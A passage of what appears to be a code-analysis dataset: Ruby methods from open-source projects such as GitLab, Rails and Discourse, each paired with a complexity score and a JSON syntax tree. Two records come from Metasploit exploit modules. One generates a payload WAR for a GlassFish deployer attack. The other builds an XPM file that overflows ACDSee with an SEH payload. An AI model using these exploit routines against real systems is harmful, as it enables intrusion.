,\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status_code\"]}]}]}]}]}]}]}]}]}","id":"5033d9a6-0ccb-4a13-8674-b71171e7ad83"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-zendesk-plugin/db/migrate/20200707122325_remove_zendesk_sync_site_setting.rb","start_line":4,"raw_source":"def up\n    execute \"DELETE FROM site_settings WHERE name = 'zendesk_sync_enabled'\"\n    execute \"DELETE FROM site_settings WHERE name = 'zendesk_signature_regex'\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DELETE FROM site_settings WHERE name = 'zendesk_sync_enabled'\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DELETE FROM site_settings WHERE name = 'zendesk_signature_regex'\"]}]}]}]}","id":"cfb4c895-3415-452b-bfa8-c75bb778d1c4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb","start_line":406,"raw_source":"def alloc_and_write_wstring(value)\n    return nil if value.nil?\n\n    alloc_and_write_data(str_to_uni_z(value))\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"alloc_and_write_wstring\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"alloc_and_write_data\",{\"type\":\"send\",\"children\":[null,\"str_to_uni_z\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"3f45e1a3-43ed-4676-ab30-6688af0e4dee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/submodule_links_spec.rb","start_line":100,"raw_source":"def stub_urls(urls_by_ref)\n    allow(repo).to receive(:submodule_urls_for) do |ref|\n      urls_by_ref[ref] if urls_by_ref\n    end\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_urls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"urls_by_ref\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[null,\"repo\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"submodule_urls_for\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls_by_ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls_by_ref\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]},null]}]}]}","id":"6f43c7e0-49a0-4b33-996a-18c8b01f9bf7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/group.rb","start_line":39,"raw_source":"def id\n      \"#{stage.id}-#{name}\"\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stage\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}","id":"09f7281c-64c6-4d94-84a1-e7324941ddb5"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/response.rb","start_line":124,"raw_source":"def respond_to?(method, include_private = false)\n        if BODY_METHODS.key?(method)\n          @buf.respond_to?(method)\n        else\n          super\n        end\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BODY_METHODS\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buf\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"7fec55c3-e154-4d8f-b041-123d22305b8c"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20160101170140_add_published_to_articles.rb","start_line":2,"raw_source":"def change\n    add_column :articles, :published, :boolean, default:false\n    add_column :articles, :password, :string\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"published\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}","id":"55d16828-aa45-416b-9f80-6e407073a8c9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages_controller.rb","start_line":109,"raw_source":"def work_package_exporter\n    case params[:template]\n    when \"contract\"\n      WorkPackage::PDFExport::DocumentGenerator.new(work_package, params)\n    else\n      # when \"attributes\"\n      WorkPackage::PDFExport::WorkPackageToPdf.new(work_package, params)\n    end\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_exporter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"contract\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"PDFExport\"]},\"DocumentGenerator\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"work_package\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"PDFExport\"]},\"WorkPackageToPdf\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"work_package\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}","id":"7556e026-10b1-4697-99b9-669c84e0b41e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/encoding_helper.rb","start_line":64,"raw_source":"def encode_utf8_no_detect(message)\n      message = force_encode_utf8(message)\n      return message if message.valid_encoding?\n\n      message.encode(Encoding::UTF_8, invalid: :replace, undef: :replace)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_utf8_no_detect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"force_encode_utf8\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"valid_encoding?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"encode\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"UTF_8\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invalid\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"undef\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]}]}]}]}]}","id":"45d13cd5-5808-4341-886c-8ea093a4977e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":903,"raw_source":"def by_any_email(emails, confirmed: false)\n      return none if Array(emails).all?(&:nil?)\n\n      from_users = by_user_email(emails)\n      from_users = from_users.confirmed if confirmed\n\n      from_emails = by_emails(emails).merge(Email.confirmed)\n      from_emails = from_emails.confirmed if confirmed\n\n      items = [from_users, from_emails]\n\n      # TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/461885\n      # What about private commit emails with capitalized username, we'd never find them and\n      # since the private_commit_email derives from the username, it can\n      # be uppercase in parts. So we'll never find an existing user during the invite\n      # process by email if that is true as we are case sensitive in this case.\n      user_ids = Gitlab::PrivateCommitEmail.user_ids_for_emails(Array(emails).map(&:downcase))\n      items << where(id: user_ids) if user_ids.present?\n\n      from_union(items)\n    end","complexity_score":30.7,"ast_json":"{\"type\":\"def\",\"children\":[\"by_any_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"emails\"]},{\"type\":\"kwoptarg\",\"children\":[\"confirmed\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"emails\"]}]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"nil?\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"from_users\",{\"type\":\"send\",\"children\":[null,\"by_user_email\",{\"type\":\"lvar\",\"children\":[\"emails\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confirmed\"]},{\"type\":\"lvasgn\",\"children\":[\"from_users\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from_users\"]},\"confirmed\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"from_emails\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"by_emails\",{\"type\":\"lvar\",\"children\":[\"emails\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"confirmed\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confirmed\"]},{\"type\":\"lvasgn\",\"children\":[\"from_emails\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from_emails\"]},\"confirmed\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from_users\"]},{\"type\":\"lvar\",\"children\":[\"from_emails\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"PrivateCommitEmail\"]},\"user_ids_for_emails\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"emails\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"from_union\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}]}","id":"893a2187-bb86-4437-86bb-81bb95a9209d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb","start_line":48,"raw_source":"def test_session_auth=\n    assert_raise(ActiveRecord::StatementInvalid) do\n      @connection.session_auth = \"DEFAULT\"\n      @connection.execute \"SELECT * FROM #{TABLE_NAME}\"\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_session_auth=\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"session_auth=\",{\"type\":\"str\",\"children\":[\"DEFAULT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT * FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]}]}]}]}]}]}","id":"bc36bd8e-e8b6-4c1b-950e-2c733d76bc6e"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/google_photos_onebox.rb","start_line":26,"raw_source":"def video_html(og)\n        escaped_url = ::Onebox::Helpers.normalize_url_for_output(url)\n\n        <<-HTML\n          <aside class=\"onebox google-photos\">\n            <header class=\"source\">\n              <img src=\"#{raw[:favicon]}\" class=\"site-icon\" width=\"16\" height=\"16\">\n              <a href=\"#{escaped_url}\" target=\"_blank\" rel=\"nofollow ugc noopener\">#{raw[:site_name]}</a>\n            </header>\n            <article class=\"onebox-body\">\n              <h3><a href=\"#{escaped_url}\" target=\"_blank\" rel=\"nofollow ugc noopener\">#{og.title}</a></h3>\n              <div class=\"aspect-image-full-size\">\n                <a href=\"#{escaped_url}\" target=\"_blank\" rel=\"nofollow ugc noopener\" class=\"image-wrapper\">\n                  <img src=\"#{og.secure_image_url}\" class=\"scale-image\"/>\n                  <span class=\"video-icon\"></span>\n                </a>\n              </div>\n            </article>\n          </aside>\n        HTML\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"video_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"og\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"escaped_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Onebox\"]},\"Helpers\"]},\"normalize_url_for_output\",{\"type\":\"send\",\"children\":[null,\"url\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          <aside class=\\\"onebox google-photos\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"            <header class=\\\"source\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"              <img src=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"favicon\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\" class=\\\"site-icon\\\" width=\\\"16\\\" height=\\\"16\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"              <a href=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_url\"]}]},{\"type\":\"str\",\"children\":[\"\\\" target=\\\"_blank\\\" rel=\\\"nofollow ugc noopener\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"site_name\"]}]}]},{\"type\":\"str\",\"children\":[\"</a>\\n\"]},{\"type\":\"str\",\"children\":[\"            </header>\\n\"]},{\"type\":\"str\",\"children\":[\"            <article class=\\\"onebox-body\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"              <h3><a href=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_url\"]}]},{\"type\":\"str\",\"children\":[\"\\\" target=\\\"_blank\\\" rel=\\\"nofollow ugc noopener\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\"</a></h3>\\n\"]},{\"type\":\"str\",\"children\":[\"              <div class=\\\"aspect-image-full-size\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                <a href=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_url\"]}]},{\"type\":\"str\",\"children\":[\"\\\" target=\\\"_blank\\\" rel=\\\"nofollow ugc noopener\\\" class=\\\"image-wrapper\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"                  <img src=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"secure_image_url\"]}]},{\"type\":\"str\",\"children\":[\"\\\" class=\\\"scale-image\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"                  <span class=\\\"video-icon\\\"></span>\\n\"]},{\"type\":\"str\",\"children\":[\"                </a>\\n\"]},{\"type\":\"str\",\"children\":[\"              </div>\\n\"]},{\"type\":\"str\",\"children\":[\"            </article>\\n\"]},{\"type\":\"str\",\"children\":[\"          </aside>\\n\"]}]}]}]}","id":"07130f63-912d-4dde-85ed-3ef02a360baf"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/abstract/abstract_controller_test.rb","start_line":39,"raw_source":"def render(options = {})\n        if options.is_a?(String)\n          options = { _template_name: options }\n        end\n        super\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"_template_name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"fd318ca4-c9a7-46ae-ad3f-72e216bfc075"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/send_file_test.rb","start_line":72,"raw_source":"def data\n    send_data(file_data, options)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_data\",{\"type\":\"send\",\"children\":[null,\"file_data\"]},{\"type\":\"send\",\"children\":[null,\"options\"]}]}]}","id":"0b08f6f6-caa3-4644-98a8-041a9bea3b25"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/glassfish_deployer.rb","start_line":790,"raw_source":"def make_war(selected_target)\n    p = exploit_regenerate_payload(selected_target.platform, selected_target.arch)\n\n    jsp_name = rand_text_alphanumeric(4 + rand(32 - 4))\n    app_base = rand_text_alphanumeric(4 + rand(32 - 4))\n\n    war = p.encoded_war({\n      :app_name => app_base,\n      :jsp_name => jsp_name,\n      :arch => selected_target.arch,\n      :platform => selected_target.platform\n    }).to_s\n\n    return app_base, jsp_name, war\n  end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"make_war\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"selected_target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"exploit_regenerate_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_target\"]},\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_target\"]},\"arch\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"jsp_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[32]},\"-\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"app_base\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[32]},\"-\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"war\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded_war\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_name\"]},{\"type\":\"lvar\",\"children\":[\"app_base\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jsp_name\"]},{\"type\":\"lvar\",\"children\":[\"jsp_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_target\"]},\"arch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_target\"]},\"platform\"]}]}]}]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_base\"]},{\"type\":\"lvar\",\"children\":[\"jsp_name\"]},{\"type\":\"lvar\",\"children\":[\"war\"]}]}]}]}","id":"12d1983f-6d09-46cc-85e8-75cfae1dbdd2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/acdsee_xpm.rb","start_line":64,"raw_source":"def exploit\n    filler = rand_text_alpha_upper(rand(25) + 1)\n\n    # http://www.fileformat.info/format/xpm/\n    head = \"/* XPM */\\r\\n\"\n    head << \"static char * #{filler}[] = {\\r\\n\"\n    head << \"\\\"\"\n\n    buff = rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)\n\n    foot = \"\\\",\\r\\n\" + \"};\\r\\n\"\n\n    xpm = head + buff + foot\n\n    print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n    file_create(xpm)\n  end","complexity_score":25.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filler\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[25]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"head\",{\"type\":\"str\",\"children\":[\"/* XPM */\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"static char * \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filler\"]}]},{\"type\":\"str\",\"children\":[\"[] = {\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buff\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[4200]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_seh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"foot\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\",\\r\\n\"]},\"+\",{\"type\":\"str\",\"children\":[\"};\\r\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xpm\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"buff\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"foot\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"xpm\"]}]}]}]}","id":"d4ddf5d4-2a87-4c62-9be4-03399318546f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/address.rb","start_line":92,"raw_source":"def self.required_fields\n      Spree::Address.validators.map do |v|\n        v.is_a?(ActiveModel::Validations::PresenceValidator) ? v.attributes : []\n      end.flatten\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"required_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Address\"]},\"validators\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Validations\"]},\"PresenceValidator\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"attributes\"]},{\"type\":\"array\",\"children\":[]}]}]},\"flatten\"]}]}","id":"b3ce488e-877b-463c-85a9-4439f09f2df5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/users/wrappable.rb","start_line":15,"raw_source":"def call\n      if wrapper_options?\n        render_with_wrapper_options(wrapper_options)\n      else\n        super\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrapper_options?\"]},{\"type\":\"send\",\"children\":[null,\"render_with_wrapper_options\",{\"type\":\"send\",\"children\":[null,\"wrapper_options\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"5dfbb788-88e9-4b99-8159-c8d20ea9acb0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/loggers.rb","start_line":108,"raw_source":"def self.contents(log, last = 1000)\n      log = log.instance_variable_get(:@logdev)&.filename.to_s if log.kind_of?(Logger)\n      return \"\" unless File.file?(log)\n\n      if last.nil?\n        contents = File.readlines(log, :mode => \"rb\", :chomp => true)\n      else\n        require 'util/miq-system'\n        contents = MiqSystem.tail(log, last)\n      end\n      return \"\" if contents.nil? || contents.empty?\n\n      # Don't return lines containing invalid UTF8 byte sequences\n      results = contents.select do |line|\n        line&.unpack(\"U*\") rescue nil\n      end\n\n      # Put back the utf-8 encoding which is the default for most rails libraries\n      # after opening it as binary and getting rid of the invalid UTF8 byte sequences\n      results.join(\"\\n\").force_encoding(\"utf-8\")\n    